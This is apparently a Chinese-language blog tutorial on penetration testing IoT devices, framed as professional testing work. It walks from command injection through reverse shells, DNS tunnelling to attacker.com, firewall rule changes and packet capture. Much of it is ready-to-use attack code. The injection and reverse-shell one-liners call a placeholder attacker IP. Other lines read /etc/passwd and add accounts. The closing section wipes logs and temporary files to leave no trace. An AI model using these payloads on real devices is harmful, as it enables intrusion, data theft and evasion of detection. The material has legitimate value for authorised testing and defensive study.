IoT设备渗透测试实战：从命令注入到流量监控的完整流程（附避坑指南）
IoT设备渗透测试实战：从命令注入到流量监控的完整流程（附避坑指南）
1. IoT渗透测试的特殊性
IoT设备的渗透测试与传统PC环境存在显著差异，这些差异直接影响着测试策略的选择和工具的使用。首先，IoT设备通常运行精简版的操作系统，内置的命令工具集极为有限。例如，许多设备甚至不包含nc、wget或curl等基础网络工具，这迫使测试人员必须掌握多种替代方案。
其次，IoT设备的处理器架构千差万别。从ARM到MIPS，不同架构意味着相同的渗透工具可能需要重新编译才能使用。我曾遇到过一台智能网关设备，其采用的冷门架构导致标准Metasploit payload完全无法运行，最终不得不手动交叉编译专用工具。
另一个关键差异是网络环境的复杂性。许多IoT设备部署在内网中，通过NAT与外界通信，这使得反向连接变得困难。同时，设备厂商通常会定制特殊的防火墙规则，比如只允许特定端口的出站流量。在一次测试中，我发现目标设备竟然屏蔽了所有非80端口的出站连接，导致常规反弹shell完全失效。
IoT与PC渗透测试的关键差异对比
| 特性 | IoT环境 | 传统PC环境 |
|---|---|---|
| 命令工具完整性 | 极度精简，缺少常用工具 | 工具链完整 |
| 处理器架构 | ARM/MIPS等嵌入式架构 | x86/x64为主 |
| 网络限制 | 定制防火墙规则，出站限制严格 | 通常开放 |
| 权限模型 | 常以root运行，但功能受限 | 权限分级明确 |
| 持久化难度 | 固件校验机制增加难度 | 相对容易 |
2. 命令注入漏洞的发现与利用
命令注入是IoT设备最常见的高危漏洞之一。与Web应用不同，IoT设备的Web界面往往直接调用系统命令处理请求，一旦过滤不严就会形成注入点。通过固件逆向分析，我们可以快速定位潜在的脆弱接口。
典型的注入点特征包括：
- 使用
system()、popen()等函数直接处理用户输入 - 调用
ping、traceroute等网络诊断工具 - 涉及文件操作的接口（压缩/解压、日志查看等）
在实际测试中，我推荐使用分阶段注入测试法：
# 第一阶段：探测基础注入 参数值后追加`; echo test > /tmp/vuln` # 第二阶段：确认命令执行 `; cat /etc/passwd > /tmp/result` # 第三阶段：建立持久通道 `; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 攻击机IP 端口 >/tmp/f`常见注入绕过技巧
- 空格替代：使用
${IFS}代替空格 - 命令分割：尝试
|、||、&&等分隔符 - 编码混淆：Base64编码命令后执行
- 环境变量注入：通过
$()或反引号执行子命令
3. 反弹Shell的实战技巧
在获取命令执行能力后，下一步是建立交互式Shell。IoT环境的特殊性使得这一步骤充满挑战：
3.1 工具受限时的解决方案
当目标设备缺少nc时，可以尝试以下方法：
# 使用/dev/tcp（需bash支持） bash -i >& /dev/tcp/攻击机IP/端口 0>&1 # 使用telnet反弹 rm -f a && mknod a p && telnet 攻击机IP 端口 0<a | /bin/bash 1>a # 使用busybox内置工具 busybox nc 攻击机IP 端口 -e /bin/sh3.2 网络限制的应对策略
当出站端口受限时：
- 尝试常用出口端口（80、443、53）
- 使用ICMP隧道工具（如ptunnel）
- 通过DNS协议外带数据
- 利用设备已有的出站连接（如NTP请求）
在一次真实测试中，目标设备仅允许53端口的UDP出站。最终通过改造的DNS隧道工具成功建立了交互Shell：
# 简易DNS请求生成器 import base64 cmd = "id".encode() chunks = [cmd[i:i+32] for i in range(0, len(cmd), 32)] for c in chunks: domain = base64.b64encode(c).decode() + ".attacker.com" os.system(f"nslookup {domain}")4. 突破权限限制
即使获取了Shell，IoT设备通常还有额外的权限限制机制：
4.1 绕过定制化Shell
许多设备会限制用户可执行的命令范围。通过分析/etc/passwd可以发现：
admin:x:1000:1000::/home/admin:/usr/sbin/restricted_shell解决方法包括：
- 添加新用户到
/etc/passwd - 利用环境变量劫持（LD_PRELOAD）
- 通过已授权的SUID程序提权
4.2 处理特殊的iptables规则
IoT设备常使用定制防火墙规则。清空规则只是临时方案，更隐蔽的做法是添加特例规则：
# 保留现有规则的同时添加放行规则 iptables -I INPUT -p tcp --dport 22 -j ACCEPT iptables -I OUTPUT -p tcp --sport 22 -j ACCEPT # 持久化规则（视系统而定） iptables-save > /etc/iptables.rules5. 流量监控与数据采集
获得稳定访问权限后，流量监控能揭示设备通信细节：
5.1 选择监控接口
# 查看网络配置 ifconfig ip route # 确定监控目标 tcpdump -i eth0 -w traffic.pcap host 172.16.0.15.2 低干扰抓包技巧
- 使用
-s 0捕获完整数据包 - 添加
-C 10限制单个文件大小 - 结合过滤器减少数据量：
tcp and port 80
5.3 数据分析要点
- 关注明文协议（HTTP、FTP、Telnet）
- 检查自定义二进制协议的通信模式
- 提取固件更新包的下载地址
在一次智能家居设备测试中，通过分析抓包数据发现了未加密的固件更新通道，最终通过中间人攻击实现了代码注入。
6. 渗透后的痕迹清理
专业测试需要尽量减少对目标设备的影响：
- 删除临时文件：
rm -rf /tmp/.* - 清除命令历史：
echo > /var/log/messages - 恢复iptables规则
- 移除添加的用户账户
- 检查进程列表，结束测试用进程
记住，真正的专业渗透测试不在于能造成多大破坏，而在于如何优雅地进入和退出目标系统而不留痕迹。